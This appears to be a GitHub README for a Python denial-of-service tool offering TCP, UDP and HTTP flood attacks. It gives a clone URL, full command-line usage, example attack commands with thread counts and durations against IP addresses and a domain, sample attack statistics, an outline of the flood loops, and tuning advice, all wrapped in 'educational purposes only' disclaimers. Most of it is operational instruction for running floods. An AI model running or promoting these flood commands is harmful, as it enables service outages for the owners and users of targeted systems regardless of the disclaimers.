FOR EDUCATIONAL PURPOSES ONLY
- Unauthorized use is ILLEGAL
- Only use on systems you OWN or have EXPLICIT PERMISSION to test
- The user assumes ALL RESPONSIBILITY for any misuse
- The author disclaims ALL LIABILITY
- π 3 Attack Methods: TCP, UDP, HTTP floods
- π§΅ Multi-threading: Configurable thread count (default: 50)
- β±οΈ Time Control: Set duration in seconds or run unlimited
- π Request Limiting: Exact number of requests
- π Real-time Stats: Live monitoring with success rates
- π― Progress Tracking: Percentage completion
- π No Dependencies: Uses only Python standard library
- Python 3.6+
- No external dependencies
# Verify Python version
python --version
# Verify all modules available
python -c "import socket, threading, time, sys, random, string, argparse; print('β
Ready')"# clone repository
git clone https://github.com/TranMinhCuong-Tech/ddos.git
cd ddos
# Make executable (Linux/macOS)
chmod +x ddos.pypython ddos_tool.py -u <TARGET> -p <PORT> [OPTIONS]| Argument | Description | Default |
|---|---|---|
-u, --url |
Target URL or IP | Required |
-p, --port |
Target port | Required |
-t, --threads |
Number of threads | 50 |
-d, --duration |
Attack duration (seconds) | Unlimited (-1) |
-r, --request |
Number of requests | 0 (Unlimited) |
-m, --method |
Attack method | tcp |
-h, --help |
Show help | - |
| Method | Protocol | Best For |
|---|---|---|
tcp |
TCP | Web servers, databases |
udp |
UDP | DNS, gaming servers |
http |
HTTP | Web applications, APIs |
# TCP attack with 100 threads for 30 seconds
python ddos_tool.py -u 192.168.1.1 -p 80 -t 100 -d 30 -m tcp
# UDP attack (unlimited)
python ddos_tool.py -u 192.168.1.1 -p 53 -t 50 -m udp
# HTTP attack with 5000 requests
python ddos_tool.py -u example.com -p 80 -t 20 -r 5000 -m http# Combined time and request limits
python ddos_tool.py -u 192.168.1.1 -p 80 -d 60 -r 5000 -m tcp
# High-thread continuous attack
python ddos_tool.py -u 192.168.1.1 -p 80 -t 200 -m http
# Precision testing with exact count
python ddos_tool.py -u example.com -p 443 -t 10 -r 1000 -m httpTime: 15.3s | Sent: 245/s | Failed: 5/s | Total Success: 3670 | Total Failed: 75 | Success Rate: 98.0% | Progress: 36.7%
======================================================================
FINAL STATISTICS
======================================================================
Target Requests: 10000
Run Time: 45.2 seconds
Total Requests Sent: 10000
Total Requests Failed: 127
Success Rate: 98.7%
Average Speed: 221.2 requests/second
======================================================================
| Field | Description |
|---|---|
| Time | Elapsed attack duration |
| Sent/s | Current requests per second |
| Failed/s | Current failures per second |
| Total Success | Cumulative successful requests |
| Total Failed | Cumulative failed requests |
| Success Rate | Percentage of successful requests |
| Progress | Completion percentage (with -r) |
1. Parse Arguments β 2. Initialize Stats β 3. Start Monitor Thread
4. Spawn Attack Threads β 5. Execute Attacks β 6. Update Stats
7. Stop Conditions Met β 8. Display Final Report
TCP Flood:
Create Socket β Connect to Target β Send Data β Close Connection β Repeat
UDP Flood:
Create Socket β Send Datagram (no connection) β Repeat
HTTP Flood:
Create Socket β Connect to Target β Send HTTP GET β Close Connection β Repeat
- β Get written permission before testing
- β Test on your own systems first
- β Start with low thread counts (10-20)
- β Use request limits for controlled testing
- β Monitor system resources during testing
- β Never test without authorization
- β Don't attack production systems
- β Don't use for malicious purposes
- β Don't exceed test scope boundaries
# Press Ctrl+C to immediately stop all threads
Ctrl+C| Issue | Solution |
|---|---|
| Connection Refused | Verify target IP and port are correct |
| High Failure Rate | Reduce thread count or check target availability |
| System Slow Down | Stop attack immediately, reduce threads |
| Permission Denied | Run with administrative/root privileges |
| No Response | Check network connectivity to target |
WARNING: This tool is for security research and educational purposes only.
- Using this tool against systems without authorization is illegal
- Violators may face criminal prosecution
- Users must comply with all applicable laws
- The author assumes no responsibility for misuse
MIT License - See LICENSE file for details
- π Report issues on GitHub
- π‘ Suggest improvements via Pull Requests
- π Read documentation for more details
Remember: Use responsibly and ethically. With great power comes great responsibility! π